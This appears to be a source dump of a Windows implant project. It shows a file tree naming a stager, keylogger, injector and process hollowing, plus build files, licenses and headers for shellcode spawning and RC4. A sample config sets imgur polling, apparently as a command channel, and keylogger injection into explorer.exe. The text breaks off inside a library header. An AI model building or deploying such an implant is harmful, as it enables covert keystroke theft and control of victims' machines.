├── script ├── __init__.py ├── ping.py └── bin2h.py ├── .gitattributes ├── .gitignore ├── dep ├── picopng │ ├── picopng.h │ └── CMakeLists.txt ├── ntdll │ ├── Makefile │ ├── LICENSE │ └── CMakeLists.txt ├── tinystl │ ├── include │ │ └── stl │ │ │ ├── README.md │ │ │ ├── LICENSE │ │ │ ├── utils.h │ │ │ ├── resource_collection.h │ │ │ ├── new.h │ │ │ ├── stddef.h │ │ │ ├── allocator.h │ │ │ ├── allocator_default.h │ │ │ ├── detail │ │ │ └── ref.h │ │ │ ├── function.h │ │ │ ├── tinystl.natvis │ │ │ ├── traits.h │ │ │ ├── string_view.h │ │ │ ├── array.h │ │ │ ├── hash.h │ │ │ ├── hash_base.h │ │ │ └── unordered_set.h │ └── CMakeLists.txt ├── hooker │ ├── LICENSE │ ├── CMakeLists.txt │ └── hooker.h ├── tiny-json │ ├── LICENSE │ ├── CMakeLists.txt │ └── tiny-json.h ├── miniz │ └── CMakeLists.txt ├── CMakeLists.txt └── mini-gzip │ ├── CMakeLists.txt │ ├── mini_gzip.h │ └── mini_gzip.c ├── configure.cmake ├── sample-config.json ├── LICENSE ├── src ├── CMakeLists.txt ├── shared │ ├── shellcode.h │ ├── resources.h │ ├── win32.h │ ├── rc4.h │ ├── payload.h │ ├── shellcode.cpp │ ├── math.h │ ├── free_exit.asm │ ├── resources.cpp │ ├── process_hollowing.h │ ├── rc4.cpp │ ├── debug.cpp │ ├── debug.h │ ├── CMakeLists.txt │ ├── winhttp.h │ ├── LoadLibraryR.h │ ├── context.h │ ├── win32.cpp │ ├── coroutine.h │ ├── payload.cpp │ ├── coroutine.cpp │ └── math.cpp ├── vr-config.h.in ├── vr │ ├── CMakeLists.txt │ ├── icmp.hpp │ ├── main.cpp │ ├── imgur.cpp │ └── injector.cpp ├── stager │ ├── CMakeLists.txt │ └── stager.c ├── gts │ └── CMakeLists.txt └── keylogger │ └── CMakeLists.txt ├── service.ps1 ├── CMakeLists.txt ├── README.md └── vr.py /script/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | * text=lf 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .* 2 | ~* 3 | __pycache__ 4 | *.pyc 5 | cmake-build-* 6 | -------------------------------------------------------------------------------- /dep/picopng/picopng.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | #include 5 | #include 6 | 7 | int decodePNG(stl::vector& out_image, unsigned long& image_width, unsigned long& image_height, 8 | const unsigned char* in_png, size_t in_size, bool convert_to_rgba32 = true); 9 | -------------------------------------------------------------------------------- /configure.cmake: -------------------------------------------------------------------------------- 1 | include(${VR_SOURCE_DIR}/JSONParser.cmake) 2 | file(READ ${VR_CONFIG} VR_CONFIG_JSON_DATA) 3 | sbeParseJson(VR_CONFIG_JSON VR_CONFIG_JSON_DATA) 4 | set(vr_shared_key "${VR_CONFIG_JSON.shared_key}") 5 | # String embedded into vr-config.h 6 | string(REPLACE "\"" "\\\"" VR_CONFIG_DATA "${VR_CONFIG_JSON_DATA}") 7 | string(REPLACE "\n" "\"\\\n\"" VR_CONFIG_DATA "${VR_CONFIG_DATA}") 8 | configure_file(${VR_SOURCE_DIR}/src/vr-config.h.in ${OUTPUT_BIN_DIRECTORY}/vr-config.h @ONLY) 9 | -------------------------------------------------------------------------------- /sample-config.json: -------------------------------------------------------------------------------- 1 | { 2 | "shared_key": "0x982147b5bea3f6c2", 3 | "imgur_client_id": "546c25a59c58ad7", 4 | "imgur_tag": "png", 5 | "imgur_tag_query_mins": 15, 6 | "imgur_tag_query_mins_jitter": 1, 7 | "keylogger_dump_mins": 10, 8 | "injector": [ 9 | { 10 | "type": "gts", 11 | "targets": [ 12 | "httpd.exe" 13 | ] 14 | }, 15 | { 16 | "type": "keylogger", 17 | "targets": [ 18 | "explorer.exe" 19 | ] 20 | } 21 | ] 22 | } 23 | -------------------------------------------------------------------------------- /dep/ntdll/Makefile: -------------------------------------------------------------------------------- 1 | # This Makefile is compatible with mingw32-make and nmake. 2 | # To build msvc libs: nmake msvc 3 | # To build mingw libs: mingw32-make mingw 4 | 5 | all: 6 | @echo Specify 'msvc' or 'mingw' target. 7 | 8 | msvc: 9 | # Microsoft's lib.exe exports mangled names no matter what. 10 | # ntdll.dll exports unmangled names. Libs built by mingw's 11 | # dlltool also work in msvc so use that on 32bit. 12 | # If you do not feel like installing msys2 to build 32bit 13 | # import lib you can always submit a PR. Thanks! 14 | # lib /def:ntdll86.def /out:ntdll86.lib /machine:x86 15 | # del /q ntdll86.exp 16 | lib /def:ntdll64.def /out:ntdll64.lib /machine:x64 17 | del /q ntdll64.exp 18 | 19 | mingw: 20 | /mingw32/bin/dlltool -d ntdll86.def -l libntdll86.a -k -f--32 21 | /mingw64/bin/dlltool -d ntdll64.def -l libntdll64.a 22 | -------------------------------------------------------------------------------- /dep/tinystl/include/stl/README.md: -------------------------------------------------------------------------------- 1 | tinystl 2 | ======= 3 | Tiny (as in minimal) implementation of some core STL functionality 4 | 5 | Contact 6 | ------- 7 | [@MatthewEndsley](https://twitter.com/#!/MatthewEndsley) 8 | 9 | 10 | License 11 | ------- 12 | Copyright 2012-2015 Matthew Endsley 13 | 14 | This project is governed by the BSD 2-clause license. For details see the file 15 | titled LICENSE in the project root folder. 16 | 17 | Compiling 18 | --------- 19 | tinystl is a header only library. But there's some tests that need to be compiled if you want to run them. 20 | 21 | 1. Get the premake4 binary here: 22 | 2. It's one file, put it somewhere useful! (maybe we'll include it in tinystl later on) 23 | 3. Update git submodules: $ git submodule update --init 24 | 4. Generate project files 25 | premake4 vs2008 26 | 5. Open your project file. It's in TinySTL/.build/projects/ 27 | 6. Enjoy a tasty beverage 28 | -------------------------------------------------------------------------------- /dep/hooker/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Rokas Kupstys 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /dep/tiny-json/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Rafa Garcia 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Rokas Kupstys 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a 6 | copy of this software and associated documentation files (the "Software"), 7 | to deal in the Software without restriction, including without limitation 8 | the rights to use, copy, modify, merge, publish, distribute, sublicense, 9 | and/or sell copies of the Software, and to permit persons to whom the 10 | Software is furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 18 | THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 20 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 21 | DEALINGS IN THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /dep/ntdll/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Fyyre 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /dep/tinystl/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # 2 | # MIT License 3 | # 4 | # Copyright (c) 2019 Rokas Kupstys 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a 7 | # copy of this software and associated documentation files (the "Software"), 8 | # to deal in the Software without restriction, including without limitation 9 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | # and/or sell copies of the Software, and to permit persons to whom the 11 | # Software is furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in 14 | # all copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | # DEALINGS IN THE SOFTWARE. 23 | # 24 | 25 | add_library(tinystl INTERFACE) 26 | target_include_directories(tinystl INTERFACE include) 27 | -------------------------------------------------------------------------------- /src/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # 2 | # MIT License 3 | # 4 | # Copyright (c) 2019 Rokas Kupstys 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a 7 | # copy of this software and associated documentation files (the "Software"), 8 | # to deal in the Software without restriction, including without limitation 9 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | # and/or sell copies of the Software, and to permit persons to whom the 11 | # Software is furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in 14 | # all copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | # DEALINGS IN THE SOFTWARE. 23 | # 24 | 25 | add_subdirectory(shared) 26 | add_subdirectory(stager) 27 | add_subdirectory(gts) 28 | add_subdirectory(keylogger) 29 | add_subdirectory(vr) 30 | -------------------------------------------------------------------------------- /src/shared/shellcode.h: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #pragma once 25 | 26 | #include 27 | 28 | void shellcode_spawn(uint8_t* shellcode, unsigned len); 29 | -------------------------------------------------------------------------------- /dep/tinystl/include/stl/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2012-2015 Matthew Endsley 2 | All rights reserved 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted providing that the following conditions 6 | are met: 7 | 1. Redistributions of source code must retain the above copyright 8 | notice, this list of conditions and the following disclaimer. 9 | 2. Redistributions in binary form must reproduce the above copyright 10 | notice, this list of conditions and the following disclaimer in the 11 | documentation and/or other materials provided with the distribution. 12 | 13 | THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 14 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 15 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 16 | ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY 17 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 18 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 19 | OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 20 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 21 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING 22 | IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 23 | POSSIBILITY OF SUCH DAMAGE. 24 | -------------------------------------------------------------------------------- /dep/miniz/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # 2 | # MIT License 3 | # 4 | # Copyright (c) 2019 Rokas Kupstys 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a 7 | # copy of this software and associated documentation files (the "Software"), 8 | # to deal in the Software without restriction, including without limitation 9 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | # and/or sell copies of the Software, and to permit persons to whom the 11 | # Software is furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in 14 | # all copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | # DEALINGS IN THE SOFTWARE. 23 | # 24 | 25 | file(GLOB_RECURSE SOURCE_FILES *.c *.h) 26 | add_library(miniz STATIC ${SOURCE_FILES}) 27 | target_include_directories(miniz PUBLIC ${CMAKE_CURRENT_SOURCE_DIR}) 28 | -------------------------------------------------------------------------------- /dep/tiny-json/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # 2 | # MIT License 3 | # 4 | # Copyright (c) 2019 Rokas Kupstys 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a 7 | # copy of this software and associated documentation files (the "Software"), 8 | # to deal in the Software without restriction, including without limitation 9 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | # and/or sell copies of the Software, and to permit persons to whom the 11 | # Software is furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in 14 | # all copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | # DEALINGS IN THE SOFTWARE. 23 | # 24 | 25 | file(GLOB_RECURSE SOURCE_FILES *.c *.h) 26 | add_library(tiny-json STATIC ${SOURCE_FILES}) 27 | target_include_directories(tiny-json PUBLIC ${CMAKE_CURRENT_SOURCE_DIR}) 28 | -------------------------------------------------------------------------------- /dep/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # 2 | # MIT License 3 | # 4 | # Copyright (c) 2019 Rokas Kupstys 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a 7 | # copy of this software and associated documentation files (the "Software"), 8 | # to deal in the Software without restriction, including without limitation 9 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | # and/or sell copies of the Software, and to permit persons to whom the 11 | # Software is furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in 14 | # all copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | # DEALINGS IN THE SOFTWARE. 23 | # 24 | 25 | add_subdirectory(ntdll) 26 | add_subdirectory(tinystl) 27 | add_subdirectory(miniz) 28 | add_subdirectory(mini-gzip) 29 | add_subdirectory(picopng) 30 | add_subdirectory(tiny-json) 31 | add_subdirectory(hooker) 32 | -------------------------------------------------------------------------------- /dep/mini-gzip/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # 2 | # MIT License 3 | # 4 | # Copyright (c) 2019 Rokas Kupstys 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a 7 | # copy of this software and associated documentation files (the "Software"), 8 | # to deal in the Software without restriction, including without limitation 9 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | # and/or sell copies of the Software, and to permit persons to whom the 11 | # Software is furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in 14 | # all copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | # DEALINGS IN THE SOFTWARE. 23 | # 24 | 25 | file(GLOB_RECURSE SOURCE_FILES *.c *.h) 26 | add_library(mini-gzip STATIC ${SOURCE_FILES}) 27 | target_link_libraries(mini-gzip PUBLIC miniz) 28 | target_include_directories(mini-gzip PUBLIC ${CMAKE_CURRENT_SOURCE_DIR}) 29 | -------------------------------------------------------------------------------- /dep/picopng/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # 2 | # MIT License 3 | # 4 | # Copyright (c) 2019 Rokas Kupstys 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a 7 | # copy of this software and associated documentation files (the "Software"), 8 | # to deal in the Software without restriction, including without limitation 9 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | # and/or sell copies of the Software, and to permit persons to whom the 11 | # Software is furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in 14 | # all copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | # DEALINGS IN THE SOFTWARE. 23 | # 24 | 25 | file(GLOB_RECURSE SOURCE_FILES *.cpp *.h) 26 | add_library(picopng STATIC ${SOURCE_FILES}) 27 | target_link_libraries(picopng PUBLIC miniz tinystl) 28 | target_include_directories(picopng PUBLIC ${CMAKE_CURRENT_SOURCE_DIR}) 29 | -------------------------------------------------------------------------------- /src/shared/resources.h: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #pragma once 25 | 26 | 27 | #include 28 | #include 29 | 30 | bool resource_open(stl::vector& output, const uint8_t* data, unsigned dlen, const uint8_t* key, unsigned klen); 31 | -------------------------------------------------------------------------------- /src/shared/win32.h: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #pragma once 25 | 26 | #include 27 | #include 28 | 29 | stl::string GetFolderPath(unsigned id); 30 | stl::vector to_wstring(const stl::string& str); 31 | stl::string from_wstring(const wchar_t* str); 32 | extern "C" void free_module_exit_thread(HMODULE hModule, int exit_code); 33 | -------------------------------------------------------------------------------- /src/shared/rc4.h: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #pragma once 25 | 26 | 27 | #include 28 | 29 | struct rc4_ctx 30 | { 31 | unsigned char s[256]; 32 | }; 33 | 34 | void rc4_init(struct rc4_ctx* ctx, const unsigned char* key, int key_len); 35 | void rc4_init(struct rc4_ctx* ctx, uint64_t key); 36 | void rc4_xor(struct rc4_ctx* ctx, unsigned char* buff, int len); 37 | -------------------------------------------------------------------------------- /dep/tinystl/include/stl/utils.h: -------------------------------------------------------------------------------- 1 | #ifndef __TINYSTL_UTILS__ 2 | #define __TINYSTL_UTILS__ 3 | 4 | #include 5 | 6 | namespace tinystl 7 | { 8 | /*** Compare ***/ 9 | template 10 | bool less(const T &a, const T &b) { return a < b; }; 11 | 12 | template 13 | bool greater(const T &a, const T &b) { return a > b; } 14 | 15 | template 16 | bool equal(const T &a, const T &b) { return a == b; } 17 | 18 | // decltype(Less) = bool (*cmp)(const T &, const T &) 19 | template 20 | T min(const T &a, const T &b, decltype(less) cmp = less) { return cmp(a, b) ? a : b; } 21 | 22 | template 23 | T max(const T &a, const T &b, decltype(less) cmp = less) 